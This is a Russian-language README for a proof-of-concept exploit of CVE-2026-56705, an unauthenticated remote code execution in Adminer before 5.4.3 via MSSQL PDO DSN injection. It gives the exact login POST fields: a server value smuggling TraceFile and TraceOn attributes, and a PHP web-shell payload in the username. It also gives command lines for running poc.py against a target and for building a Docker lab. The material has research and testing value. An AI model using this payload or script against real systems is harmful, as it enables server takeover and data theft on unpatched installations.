
Эксплойт PoC для Adminer < 5.4.3 — неаутентифицированное RCE через инъекцию PDO DSN в MSSQL, включая Docker-лабораторию и негативный тест.
| CVE | CVE-2026-56705 |
| GHSA | GHSA-r4x9-5m63-3vxw (консультация вендора) / GHSA-34q8-53jm-qc2r (база GitHub) |
| Продукт | Adminer (однофайловый PHP-инструмент для управления базами данных) |
| Затронуты | Adminer < 5.4.3 с pdo_sqlsrv + Microsoft ODBC Driver for SQL Server |
| Исправлено в | 5.4.3 |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Тип | CWE-20 → неаутентифицированная произвольная запись файла → RCE |
Adminer не санирует пользовательское поле server перед формированием
PDO DSN для MSSQL-подключений:
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
Точки с запятой в server интерпретируются как разделители атрибутов ODBC-подключения, поэтому
неаутентифицированный злоумышленник может добавить произвольные атрибуты в DSN — включая
TraceFile и TraceOn. Механизм трассировки unixODBC записывает полную строку подключения
(с UID={username} дословно) в TraceFile до и независимо от того,
успешно ли завершилось подключение. Внедрение PHP-кода через поле username
и указание TraceFile в корень веб-сервера даёт веб-шелл.
Достаточно одного неаутентифицированного POST-запроса на вход. Никаких действительных учётных данных, никакого взаимодействия с пользователем.
auth[driver] = mssql
auth[server] = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1UID={<?php ... ?>}, в /var/www/shell.phpGET /shell.php?c=id → команда выполняется# только проверка уязвимости
python3 poc.py --target http://target/adminer.php --check
# полная эксплуатация (записывает <random>.php в корень веб-сервера)
python3 poc.py --target http://target/adminer.php --command "id"
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id
Лабораторный образ точно повторяет предпосылки из консультации: php:8.3-cli +
pdo_sqlsrv (pecl) + msodbcsql18, корень веб-сервера доступен для записи процессу PHP.
mssql или отсекайте
; (и пробелы) из пользовательских значений server на обратном прокси.В консультации вендора указано, что уязвимость обнаружена совместно репортёром и Yashar Shahinzadeh (@voorivex).
PoC и лаборатория: Hamza Cagrici (@Boreas37)
| Дата | Событие |
|---|---|
| 2026-08-25 | Опубликован CVE / исправлено в Adminer 5.4.3 |